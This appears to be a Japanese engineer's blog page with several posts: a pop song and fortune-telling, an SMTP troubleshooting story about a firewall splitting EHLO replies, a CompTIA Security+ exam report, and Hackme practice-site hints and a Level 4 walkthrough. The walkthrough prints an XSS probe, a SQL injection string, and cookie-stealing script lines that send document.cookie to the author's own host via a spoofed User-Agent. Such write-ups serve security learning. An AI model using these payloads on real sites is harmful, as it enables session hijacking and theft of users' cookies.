占いは精神療法と似ているのかもしれない。
お金を払ってまで占い師のもとを訪ねるのは何かしら不安や迷いのある人で、
自分は今どんな状態にあるのか?自分がどうすればいいのか?
それを誰かに教えてもらいたいと思っているはずだ。
占い師は、たとえペテンであっても何かしら教えてくれる。
訪れた人は少しだけ、悩みが薄れたように感じる。
-------------------------
Mr.Childrenの曲に『過去と未来と交信する男』という歌がある。
とある占い師が客の過去と未来を見通し、
今どうあるべきか?を占うという内容の歌である。
曲名からして電波でサイコな印象を受けるし、
初めて聴いた時には「またダーツでも投げたのかな?」と思ったものだ。
しかし、よくよく聴いてみると、この曲は消極的な応援歌なのだとわかる。
ものすごく大まかに書くと、
「今は悩んでいてもこれから良いことあるさ」
という占い師然とした内容なのだ。
つまり、この曲を聴けば、
占いに行かずとも占いに行った気分と効果を味わえるというわけだ。
-------------------------
社会人として日々苦しむエンジニアのあなた。
上司や客や営業部から無理難題を強いられ、
「最近ちょっとお給料あがってる!」→「あぁ増えてるのは残業代か・・・」
と将来を悲観しつつあるあなた。
疲れた時には、この曲を聴いてみてはいかがだろうか。
ちなみにYouTubeのMr.Children公式チャンネルではこの曲の動画は公開されていない。
歌詞 - 『過去と未来と交信する男』
iTunesとかで単体でも買えるかもしれないがとりあえずアルバムを買うのをお勧めする。
Wikipedia - [(an imitation) blood orange]
ひとこと
気付けば前回更新してから2年以上経ってた
(2023.10.25)
2016年11月3日木曜日
2016年10月28日金曜日
SMTPでレスポンス分割...?
うちの製品に、メールで情報を送信する機能がある。
つまりSMTP通信を行う機能だ。
その機能について、某大企業の担当者から問い合わせがあった。
「メールが送信できません。」
うちのユーザサポート部署のFさんが詳しくヒアリングしてくれて、
開発部にいる僕に相談しにきた。
話を聞くと、どうやらお客さんの環境はかなり特殊なようだ。
それというのも、EHLOのレスポンスをUTMが分割しているというのだ。
送ってもらったパケットキャプチャを確認してみた。
普通ならレスポンスは1度にまとめて送られてくる。
しかしそのUTMは、SMTPサーバから受け取った複数行リプライを数行ずつ
計2つのパケットに分割して送ってきていたのだ。
SMTPのレスポンスを分割するなんて、僕は聞いたことがなかった。
SMTPのレスポンスは分割され得るものなのか?
インターネットで調べてもそんな例は見当たらない。
ネットワーク系にかなり詳しい同僚も、そんなの見たことないよと言う。
(ちなみにこの同僚、某世界的大手企業から『アジアNo.1セールスエンジニア』と認定されており、同業他社からスカウトされまくる凄い人である。)
これはどうしたものだろう。
~
そのUTM、実は問い合わせてきたお客さんの会社の製品である。
なので訊いてみた。分割の根拠と理由。
するとこんな回答があった。
「RFCに分割手法が書いてある。」
「ウィルスチェックのためにリプライを解析しており、タイムアウトを防ぐべく分割して送っている。」
~
SMTPについて記述されたRFC5321なら僕は読んだことがある。
しかしレスポンス分割に関係しそうなことなんて書かれてないはずだ。
念のために改めて読んでみたが、やはりそんなことは書かれていない。
お客さんが言っているのは別のRFCなのだろうか。
だとしたらSMTP以外の規約が絡んでくるということであり、すごく面倒だな。
Fさん経由で、根拠としているRFCの番号を訊いてみた。
結果は・・・
Fさん「RFC5321だそうです。4.2章のこの部分。」
5321かよ。
そして示された部分はEHLOの複数行リプライの文法に関する記述。
要約するとこんな内容である。
「最終行以外は2XX-xxxxxxxx、最終行はハイフンをスペースに変えて2XX xxxxxxxxとせよ」
「最終行にスペースが使われてなくても対応できるようにクライアントは準備しておけ」
はい。
これは1度のリプライが複数行に及ぶ場合の文法を定義してるわけで、
どう読んでもパケット分割に対応すべしと受け取ることはできないよね。
そもそもEHLOでパケット分割を許容するならDATAコマンド風な仕様になるはずだよね。
つまり五月雨送信の終了を明示的に表す情報が必ず送られてくるべきっていう仕様。
と思ったままをFさん経由で回答すると、
お客さんは案外あっさりと納得してくれた。
なんだそりゃ。
ちなみに、分割の理由についても思うところはある。
分割されたパケットの送信間隔は1秒にも満たない。
ならば分割などという致命的なRFC違反なんかしなくても、
レスポンスはひとまずそのまま送っておいて、もし問題ありと判定したなら
以降の通信を拒否すればいいのだ。ただそれだけ。
でもこの部分、Fさんはお客さんに伝えてない。
まぁ言えないよな。言う必要ないし。
~
うちのその製品では、EHLOのレスポンス内容に関わらず
ユーザが指定した設定に従ってSMTPコマンドを実行する。
これもRFCに則った動作とはいえないが、色々と事情があったのだ。
その分、通常はこの動作がネックにならないように作り込んでおり、
このお客さん以外のすべてのユーザ環境で正常稼働している。
今回お客さんはStartTLSとSMTP認証を使っていた。
なので具体的には、
「EHLOの分割レスポンス2つ目をUTMが送信する前にSTARTTLSコマンドが実行されてるぞ!だからメール送信できないぞ!」
という問い合わせだったわけだ。
これについては上述の通り、お客さんは「UTMが悪いんじゃん!」と納得してくれた。
しかし・・・
「EHLOの分割レスポンス2つ目をUTMが送信する前にAUTHコマンドが実行されてるぞ!だからメール送信できないぞ!あとAUTHコマンドってなんだ!」
という問い合わせが翌日あった。もちろん同じお客さんである。
なぜだか知らないがこのお客さん、どうやら「じゃあStartTLS使わなければいいんじゃん!」と思ったらしい。
だからそもそも分割してんのが駄目なんだって!!!
それと少しは自分で調べてみてよ・・・。
「SMTP Auth」で調べたら、AUTHコマンドがSMTP認証のコマンドだってすぐわかるよ。。
コマンドレベルの細かい問い合わせしてくる割に知識がないんだよな。
ひょっとして新人なのかな・・・先輩にいわれて問い合わせてるだけの
そんなお話
つまりSMTP通信を行う機能だ。
その機能について、某大企業の担当者から問い合わせがあった。
「メールが送信できません。」
うちのユーザサポート部署のFさんが詳しくヒアリングしてくれて、
開発部にいる僕に相談しにきた。
話を聞くと、どうやらお客さんの環境はかなり特殊なようだ。
それというのも、EHLOのレスポンスをUTMが分割しているというのだ。
送ってもらったパケットキャプチャを確認してみた。
普通ならレスポンスは1度にまとめて送られてくる。
しかしそのUTMは、SMTPサーバから受け取った複数行リプライを数行ずつ
計2つのパケットに分割して送ってきていたのだ。
SMTPのレスポンスを分割するなんて、僕は聞いたことがなかった。
SMTPのレスポンスは分割され得るものなのか?
インターネットで調べてもそんな例は見当たらない。
ネットワーク系にかなり詳しい同僚も、そんなの見たことないよと言う。
(ちなみにこの同僚、某世界的大手企業から『アジアNo.1セールスエンジニア』と認定されており、同業他社からスカウトされまくる凄い人である。)
これはどうしたものだろう。
~
そのUTM、実は問い合わせてきたお客さんの会社の製品である。
なので訊いてみた。分割の根拠と理由。
するとこんな回答があった。
「RFCに分割手法が書いてある。」
「ウィルスチェックのためにリプライを解析しており、タイムアウトを防ぐべく分割して送っている。」
~
SMTPについて記述されたRFC5321なら僕は読んだことがある。
しかしレスポンス分割に関係しそうなことなんて書かれてないはずだ。
念のために改めて読んでみたが、やはりそんなことは書かれていない。
お客さんが言っているのは別のRFCなのだろうか。
だとしたらSMTP以外の規約が絡んでくるということであり、すごく面倒だな。
Fさん経由で、根拠としているRFCの番号を訊いてみた。
結果は・・・
Fさん「RFC5321だそうです。4.2章のこの部分。」
5321かよ。
そして示された部分はEHLOの複数行リプライの文法に関する記述。
要約するとこんな内容である。
「最終行以外は2XX-xxxxxxxx、最終行はハイフンをスペースに変えて2XX xxxxxxxxとせよ」
「最終行にスペースが使われてなくても対応できるようにクライアントは準備しておけ」
はい。
これは1度のリプライが複数行に及ぶ場合の文法を定義してるわけで、
どう読んでもパケット分割に対応すべしと受け取ることはできないよね。
そもそもEHLOでパケット分割を許容するならDATAコマンド風な仕様になるはずだよね。
つまり五月雨送信の終了を明示的に表す情報が必ず送られてくるべきっていう仕様。
と思ったままをFさん経由で回答すると、
お客さんは案外あっさりと納得してくれた。
なんだそりゃ。
ちなみに、分割の理由についても思うところはある。
分割されたパケットの送信間隔は1秒にも満たない。
ならば分割などという致命的なRFC違反なんかしなくても、
レスポンスはひとまずそのまま送っておいて、もし問題ありと判定したなら
以降の通信を拒否すればいいのだ。ただそれだけ。
でもこの部分、Fさんはお客さんに伝えてない。
まぁ言えないよな。言う必要ないし。
~
うちのその製品では、EHLOのレスポンス内容に関わらず
ユーザが指定した設定に従ってSMTPコマンドを実行する。
これもRFCに則った動作とはいえないが、色々と事情があったのだ。
その分、通常はこの動作がネックにならないように作り込んでおり、
このお客さん以外のすべてのユーザ環境で正常稼働している。
今回お客さんはStartTLSとSMTP認証を使っていた。
なので具体的には、
「EHLOの分割レスポンス2つ目をUTMが送信する前にSTARTTLSコマンドが実行されてるぞ!だからメール送信できないぞ!」
という問い合わせだったわけだ。
これについては上述の通り、お客さんは「UTMが悪いんじゃん!」と納得してくれた。
しかし・・・
「EHLOの分割レスポンス2つ目をUTMが送信する前にAUTHコマンドが実行されてるぞ!だからメール送信できないぞ!あとAUTHコマンドってなんだ!」
という問い合わせが翌日あった。もちろん同じお客さんである。
なぜだか知らないがこのお客さん、どうやら「じゃあStartTLS使わなければいいんじゃん!」と思ったらしい。
だからそもそも分割してんのが駄目なんだって!!!
それと少しは自分で調べてみてよ・・・。
「SMTP Auth」で調べたら、AUTHコマンドがSMTP認証のコマンドだってすぐわかるよ。。
コマンドレベルの細かい問い合わせしてくる割に知識がないんだよな。
ひょっとして新人なのかな・・・先輩にいわれて問い合わせてるだけの
そんなお話
2016年2月24日水曜日
Hackme攻略 - Lv別ヒント -
「糸口すらつかめねえ・・・でも答えは自力で導き出したい!」というハイエンドなあなたに朗報
HackmeのLv1からLv4までのヒントだけを書いておく。Lv5は知りません。
ヒントといってもいくつかのキーワードだけ。
しかし、もし基礎知識が充分であれば、それだけでも突破口は見えてくるはず。
■Lv1
・ソースコード
■Lv2
・データベース
・サニタイジング
■Lv3
・URL
・passwdファイル
■Lv4
・スクリプト
・サニタイジング
・Cookie
・セッション
健闘を祈る!
HackmeのLv1からLv4までのヒントだけを書いておく。Lv5は知りません。
ヒントといってもいくつかのキーワードだけ。
しかし、もし基礎知識が充分であれば、それだけでも突破口は見えてくるはず。
■Lv1
・ソースコード
■Lv2
・データベース
・サニタイジング
■Lv3
・URL
・passwdファイル
■Lv4
・スクリプト
・サニタイジング
・Cookie
・セッション
健闘を祈る!
2016年2月20日土曜日
CompTIA Security+について
CompTIA Security+を受験しました。
会社の方針で、毎年1つ以上は講習会や資格試験を受けることが推奨されており
資格手当の対象になっていて日本語で受験できるこの試験を選んだのだ。
資格試験を受けるのなんていつ以来だろう。
最後に受けたのがネットワークスペシャリストだから・・・約2年4か月振りだな。
■試験の概要
試験を主催しているのはCompTIAという団体。
30年以上前にアメリカで発足し、今では全世界でITスキルの認定試験を運用しているとか。
それゆえ海外でも資格試験の知名度が高いらしい。
Security+はセキュリティに重点を置いた試験。
ITSSではLv2に位置している。
900点満点のうち750点(正答率83.4%)以上で合格。
正答率のハードルがやたら高い。
CBT方式なので各地の試験センターで受験可能。
日本語にも対応している。
2016年5月まで、
1度不合格になっても2回目の受験料は無料というキャンペーンをやっているらしい。
受験料は3万円以上するので嬉しいといえば嬉しい。
■受験の感触
ITSS Lv2というと基本情報技術者試験と同じだし、自分はセキュリティの分野だとITSS Lv4の情報セキュリティスペシャリスト試験にも合格しているので、正直「こんなん余裕やろ」と思っていた。
インターネット上で予想問題を解いてみてもその感想は変わらなかったが・・・
いざ受験してみると回答に悩む問題が多かった。
「ビッシング」とか「ホエーリング」とか、片仮名表記はわかり辛いんだよな。。
日本語の文章が曖昧なところもあったが、原文(英語)の問題文も表示できるので助かった。
そして何より戸惑ったのが『シミュレーション問題』である。
Security+は四択式だと聞いていたんだけど、シミュレーション問題では選んだり入力したり。
ファイアウォールに設定するSCPのポート番号とか覚えてねえ。20番付近だったのは覚えてるけど・・・
実際の現場ではちゃっちゃとネットで調べて終わりだからな。
最初の5問がその『シミュレーション問題』で、ひょっとして全部こうなの?と不安になってしまった。
全66問のうち選択式の問題は61問だった。複数選択もいくつか。
結果は783点(正答率87%)だった。あぶねえ。。
まぁ合格できたからよしとしよう。
終わった後の感覚としては、正答率のハードルは高いが
「まぁ確かにLv2だな」という感じ。
まったくの素人が独学するとなると数か月かかりそうだけど、
技術者としての経験とセキュリティやネットワークの教養があれば2週間のおさらいで充分。
■勉強方法
出題範囲はセキュリティとネットワークで、
セキュリティでは技術分野だけでなく運用や管理についても広く問われる印象。
ネットワークについては基礎を押さえておくだけでよさそうで、
自分はネットワークスペシャリスト合格時の知識がまだ残っているので無勉。
これで特に困ることはなかった。
セキュリティについては、
情報処理技術者試験と違ってベンダ依存の技術についても出題されるし、
機器(アンテナの種類とか)に関する問題も出たので、
受験するにあたって改めて勉強しておいた方がいいと思う。
自分が使ったのはTACの参考書だけ。
360ページくらい。2週間ほど昼休みにめくって読破。
これ1冊で出題範囲はほぼカバーされているが、
載っていないこともちょくちょく出題されたので過信は禁物である。
あとところどころ「外人が書いたのか?」ってくらい日本語がおかしくて
読んでて苛々することがある。
ちなみにTACの書籍通販サイトで参考書とチケットのセットを買うとだいぶお得である。
横浜の試験センターで受験した後、
そごうでAshleigh & Burwoodのフレグランスランプを買った。いいにおい。
[2016.02.21 追記]
20日(土)の14時に受験して、
21日(日)の11時にはもう認定証とロゴをダウンロードできるようになってた。
まぁセキュリティ業界の技術者としてはCCIEクラスじゃないと名刺にロゴ載せられないと思うけど。。
昔取ったOracle Masterでは認定カードみたいなものが送られてきてた気がする。
海外の試験はこーいうのあるから少し嬉しいよね。
会社の方針で、毎年1つ以上は講習会や資格試験を受けることが推奨されており
資格手当の対象になっていて日本語で受験できるこの試験を選んだのだ。
資格試験を受けるのなんていつ以来だろう。
最後に受けたのがネットワークスペシャリストだから・・・約2年4か月振りだな。
■試験の概要
試験を主催しているのはCompTIAという団体。
30年以上前にアメリカで発足し、今では全世界でITスキルの認定試験を運用しているとか。
それゆえ海外でも資格試験の知名度が高いらしい。
Security+はセキュリティに重点を置いた試験。
ITSSではLv2に位置している。
900点満点のうち750点(正答率83.4%)以上で合格。
正答率のハードルがやたら高い。
CBT方式なので各地の試験センターで受験可能。
日本語にも対応している。
2016年5月まで、
1度不合格になっても2回目の受験料は無料というキャンペーンをやっているらしい。
受験料は3万円以上するので嬉しいといえば嬉しい。
■受験の感触
ITSS Lv2というと基本情報技術者試験と同じだし、自分はセキュリティの分野だとITSS Lv4の情報セキュリティスペシャリスト試験にも合格しているので、正直「こんなん余裕やろ」と思っていた。
インターネット上で予想問題を解いてみてもその感想は変わらなかったが・・・
いざ受験してみると回答に悩む問題が多かった。
「ビッシング」とか「ホエーリング」とか、片仮名表記はわかり辛いんだよな。。
日本語の文章が曖昧なところもあったが、原文(英語)の問題文も表示できるので助かった。
そして何より戸惑ったのが『シミュレーション問題』である。
Security+は四択式だと聞いていたんだけど、シミュレーション問題では選んだり入力したり。
ファイアウォールに設定するSCPのポート番号とか覚えてねえ。20番付近だったのは覚えてるけど・・・
実際の現場ではちゃっちゃとネットで調べて終わりだからな。
最初の5問がその『シミュレーション問題』で、ひょっとして全部こうなの?と不安になってしまった。
全66問のうち選択式の問題は61問だった。複数選択もいくつか。
結果は783点(正答率87%)だった。あぶねえ。。
まぁ合格できたからよしとしよう。
終わった後の感覚としては、正答率のハードルは高いが
「まぁ確かにLv2だな」という感じ。
まったくの素人が独学するとなると数か月かかりそうだけど、
技術者としての経験とセキュリティやネットワークの教養があれば2週間のおさらいで充分。
■勉強方法
出題範囲はセキュリティとネットワークで、
セキュリティでは技術分野だけでなく運用や管理についても広く問われる印象。
ネットワークについては基礎を押さえておくだけでよさそうで、
自分はネットワークスペシャリスト合格時の知識がまだ残っているので無勉。
これで特に困ることはなかった。
セキュリティについては、
情報処理技術者試験と違ってベンダ依存の技術についても出題されるし、
機器(アンテナの種類とか)に関する問題も出たので、
受験するにあたって改めて勉強しておいた方がいいと思う。
自分が使ったのはTACの参考書だけ。
360ページくらい。2週間ほど昼休みにめくって読破。
これ1冊で出題範囲はほぼカバーされているが、
載っていないこともちょくちょく出題されたので過信は禁物である。
あとところどころ「外人が書いたのか?」ってくらい日本語がおかしくて
読んでて苛々することがある。
ちなみにTACの書籍通販サイトで参考書とチケットのセットを買うとだいぶお得である。
横浜の試験センターで受験した後、
そごうでAshleigh & Burwoodのフレグランスランプを買った。いいにおい。
[2016.02.21 追記]
20日(土)の14時に受験して、
21日(日)の11時にはもう認定証とロゴをダウンロードできるようになってた。
まぁセキュリティ業界の技術者としてはCCIEクラスじゃないと名刺にロゴ載せられないと思うけど。。
昔取ったOracle Masterでは認定カードみたいなものが送られてきてた気がする。
海外の試験はこーいうのあるから少し嬉しいよね。
2016年1月21日木曜日
Hackme攻略 Lv4
3年振りくらいか?Hackmeに再挑戦。Lv4を攻略する。
以下、Hackmeの攻略に関するネタバレを多大に含みます。自力で攻略したいなら見ちゃだめです。
[Lv4]
1.ヒントを探す
URLやソースコードには特に手掛かりなし。
とりあえずフォームでのXSSとSQLインジェクションを試してみるか。
ID :
' or 1=1--
でログインを試みる。結果は・・・
まぁ失敗ですよね。フォームから攻撃するわけではなさそうだ。
なぜだか知らないがアクセスログが表示されている。
ログインに失敗したユーザの接続元IPアドレスまたはログインに成功したユーザのユーザ名と、
ユーザが送信したUser-Agentが表示されている。
2.考える
表示されたログを読み解くと、どうやらfoobarというユーザはまだログアウトしていないようだ。
それをわざわざ明示するあたり、これはセッションハイジャックせよということなのだろう。
セッションを奪うにはターゲットとするユーザのセッションIDを知る必要がある。
セッションIDはCookieに記録されるので、どうにかしてターゲットのCookieの値を窃取すればいいわけだ。
Webアプリケーションでサニタイジングが適切に行われていなければ、
HTTPリクエストにスクリプトを混入させることでXSSを実行してCookieの値を盗み出すことができるかもしれない。
しかし、その場合に重要なのは
「XSSではクライアントPC上でスクリプトが実行される」「Cookieは通信の度にやりとりされる」
ということだ。
つまり、今回foobarのセッションIDを窃取してセッションハイジャックを成功させるには、
以下の条件をクリアしなければならないわけだな。
A :
HackmeのWebページにスクリプトを埋め込むことが可能であること
B :
Aをクリアした上で、スクリプトが埋め込まれたWebページにfoobarがアクセスし、
foobarのPCでスクリプトが実行されること
無理じゃん。
foobarは問題のために便宜的に用意されたユーザであって、実在しないんだろ。
サーバ側で実行されているプログラムのメモリダンプか何かから有効なセッションIDを探せとでも?
まさかそんな壮絶に面倒くさいことにはならないよな・・・
何か見落としてはいないだろうか。過去の問題を思い起こした。
そういえば、Lv2も解いてて少し引っかかったんだよな。
結局すごく単純な条件文でSQLインジェクションできたけど、
あれだってもっと複雑なSQL文で問い合わせたりその結果をプログラムで検証されたりしていたら、
あんなにすんなりクリアすることはできなかったはずだ。
つまるところHackmeは、今やあまり現実的でない構成に思えるほど挑戦者に親切な、
あくまでゲーム的な楽しみを提供するためのサイトなのではなかろうか・・・
とりあえず深く考えず、思いついたことを試してみようか。
条件Bはひとまず無視して、条件Aについて考えよう。
画面には、ユーザ名またはIPアドレスとUAが過去5件分表示されている。
過去5件分が表示されるということは、自分が改竄した内容が後の数人にも表示される
(=後の数人に対してXSSが有効である)可能性があるということだ。
スクリプトを埋め込めそうな箇所はないか?
ユーザ名はサーバ側で管理されているはずだから却下。
IPアドレスは、IPパケットの送信元IPアドレス部を詐称することは可能だがそうするとレスポンスを受け取れないし、そもそもスクリプトを書けるほどデータを格納できないので却下。
User-AgentはHTTPリクエストのヘッダを書き換えればいいし、簡単なスクリプトを格納できる程度のデータ量は許容される。こいつがあやしい。
3.検証する
User-Agentにスクリプトを埋め込み、それが実行できるかどうかを確認する。
HTTPリクエストを書き換える方法は色々あるが、今回はFirefoxのアドオンである『UAControl』を使った。
再度ログインしてみると・・・
・・・自分が意図したものとは違うが、XSSが可能だそうだ。
まぁ本当にできてしまうとHackmeのサイト自体が危険ってことになりかねないから、何らかのコントロールを行っているのだろう。
ログの表示を見た感じではWebページの改竄もできている?
4.Hackyou!
ではCookieの値を窃取するスクリプトを送ってみよう。
ブラウザで動作するスクリプトといえばJavaScriptだが、
自分はJavaScriptに明るくないのでどんな処理が可能なのかはよく知らない。
本当にalertとdocument.cookieくらいしか知らないからな。でもやるべきことは決まっている。
foobarがアクセスしてきた時に、そのCookieの値をこちらが管理する端末に送信させればいいのだ。
具体的には、スクリプトでWebページを移動したり読み込んだりして、パラメータにCookieの値を持つHTTPリクエストが自分の元に届けばいい。
とかでもいいのかもしれないけど、JavaScriptだけを使う方がシンプルに書けそうだ。
JavaScriptでWebページを移動するには「document.location="{移動先のURL}"」と書くらしいので、これを使って次のスクリプトを送ってみよう。
これでいけそうなら一時的にサーバを稼働させて、パケットをキャプチャしてみるか。。
すると・・・
なんかでた!!!
というかやっぱりこういう感じなのね・・・
Hackmeには挑戦用のアカウントでログインしてるからそのセッションIDは変えられないし、
これならサーバを用意しなくてもいいからね。なんかちょっと残念な具合だけどね。
いま表示された値をCookieに追加する。これも方法は色々だがFirefoxのアドオン『Firebug』を使った。
再度ログインすると・・・
Lv4クリア!
これでいいのか?って感じはするけど解けてよかった
でもどっと疲れたぞ・・・
以下、Hackmeの攻略に関するネタバレを多大に含みます。自力で攻略したいなら見ちゃだめです。
[Lv4]
1.ヒントを探す
URLやソースコードには特に手掛かりなし。
とりあえずフォームでのXSSとSQLインジェクションを試してみるか。
ID :
<script>alert("test")</script>Password :
' or 1=1--
でログインを試みる。結果は・・・
まぁ失敗ですよね。フォームから攻撃するわけではなさそうだ。
なぜだか知らないがアクセスログが表示されている。
ログインに失敗したユーザの接続元IPアドレスまたはログインに成功したユーザのユーザ名と、
ユーザが送信したUser-Agentが表示されている。
2.考える
表示されたログを読み解くと、どうやらfoobarというユーザはまだログアウトしていないようだ。
それをわざわざ明示するあたり、これはセッションハイジャックせよということなのだろう。
セッションを奪うにはターゲットとするユーザのセッションIDを知る必要がある。
セッションIDはCookieに記録されるので、どうにかしてターゲットのCookieの値を窃取すればいいわけだ。
Webアプリケーションでサニタイジングが適切に行われていなければ、
HTTPリクエストにスクリプトを混入させることでXSSを実行してCookieの値を盗み出すことができるかもしれない。
しかし、その場合に重要なのは
「XSSではクライアントPC上でスクリプトが実行される」「Cookieは通信の度にやりとりされる」
ということだ。
つまり、今回foobarのセッションIDを窃取してセッションハイジャックを成功させるには、
以下の条件をクリアしなければならないわけだな。
A :
HackmeのWebページにスクリプトを埋め込むことが可能であること
B :
Aをクリアした上で、スクリプトが埋め込まれたWebページにfoobarがアクセスし、
foobarのPCでスクリプトが実行されること
無理じゃん。
foobarは問題のために便宜的に用意されたユーザであって、実在しないんだろ。
サーバ側で実行されているプログラムのメモリダンプか何かから有効なセッションIDを探せとでも?
まさかそんな壮絶に面倒くさいことにはならないよな・・・
何か見落としてはいないだろうか。過去の問題を思い起こした。
そういえば、Lv2も解いてて少し引っかかったんだよな。
結局すごく単純な条件文でSQLインジェクションできたけど、
あれだってもっと複雑なSQL文で問い合わせたりその結果をプログラムで検証されたりしていたら、
あんなにすんなりクリアすることはできなかったはずだ。
つまるところHackmeは、今やあまり現実的でない構成に思えるほど挑戦者に親切な、
あくまでゲーム的な楽しみを提供するためのサイトなのではなかろうか・・・
とりあえず深く考えず、思いついたことを試してみようか。
条件Bはひとまず無視して、条件Aについて考えよう。
画面には、ユーザ名またはIPアドレスとUAが過去5件分表示されている。
過去5件分が表示されるということは、自分が改竄した内容が後の数人にも表示される
(=後の数人に対してXSSが有効である)可能性があるということだ。
スクリプトを埋め込めそうな箇所はないか?
ユーザ名はサーバ側で管理されているはずだから却下。
IPアドレスは、IPパケットの送信元IPアドレス部を詐称することは可能だがそうするとレスポンスを受け取れないし、そもそもスクリプトを書けるほどデータを格納できないので却下。
User-AgentはHTTPリクエストのヘッダを書き換えればいいし、簡単なスクリプトを格納できる程度のデータ量は許容される。こいつがあやしい。
3.検証する
User-Agentにスクリプトを埋め込み、それが実行できるかどうかを確認する。
HTTPリクエストを書き換える方法は色々あるが、今回はFirefoxのアドオンである『UAControl』を使った。
再度ログインしてみると・・・
・・・自分が意図したものとは違うが、XSSが可能だそうだ。
まぁ本当にできてしまうとHackmeのサイト自体が危険ってことになりかねないから、何らかのコントロールを行っているのだろう。
ログの表示を見た感じではWebページの改竄もできている?
4.Hackyou!
ではCookieの値を窃取するスクリプトを送ってみよう。
ブラウザで動作するスクリプトといえばJavaScriptだが、
自分はJavaScriptに明るくないのでどんな処理が可能なのかはよく知らない。
本当にalertとdocument.cookieくらいしか知らないからな。でもやるべきことは決まっている。
foobarがアクセスしてきた時に、そのCookieの値をこちらが管理する端末に送信させればいいのだ。
具体的には、スクリプトでWebページを移動したり読み込んだりして、パラメータにCookieの値を持つHTTPリクエストが自分の元に届けばいい。
<img src="http://{自分のIP}/a?b="+{foobarのcookie} height="1" ookie="" width="1" />とか
<iframe foobar="" height="1" ookie="" src="http://{自分のIP}/a?b="+{foobarのcookie} width="1"></iframe>
とかでもいいのかもしれないけど、JavaScriptだけを使う方がシンプルに書けそうだ。
JavaScriptでWebページを移動するには「document.location="{移動先のURL}"」と書くらしいので、これを使って次のスクリプトを送ってみよう。
これでいけそうなら一時的にサーバを稼働させて、パケットをキャプチャしてみるか。。
<script>document.location="http://{自分のIP}/a?b="+document.cookie;</script>再びUser-Agentを書き換えてログインしてみる。
すると・・・
なんかでた!!!
というかやっぱりこういう感じなのね・・・
Hackmeには挑戦用のアカウントでログインしてるからそのセッションIDは変えられないし、
これならサーバを用意しなくてもいいからね。なんかちょっと残念な具合だけどね。
いま表示された値をCookieに追加する。これも方法は色々だがFirefoxのアドオン『Firebug』を使った。
再度ログインすると・・・
Lv4クリア!
これでいいのか?って感じはするけど解けてよかった
でもどっと疲れたぞ・・・
登録:
投稿 (Atom)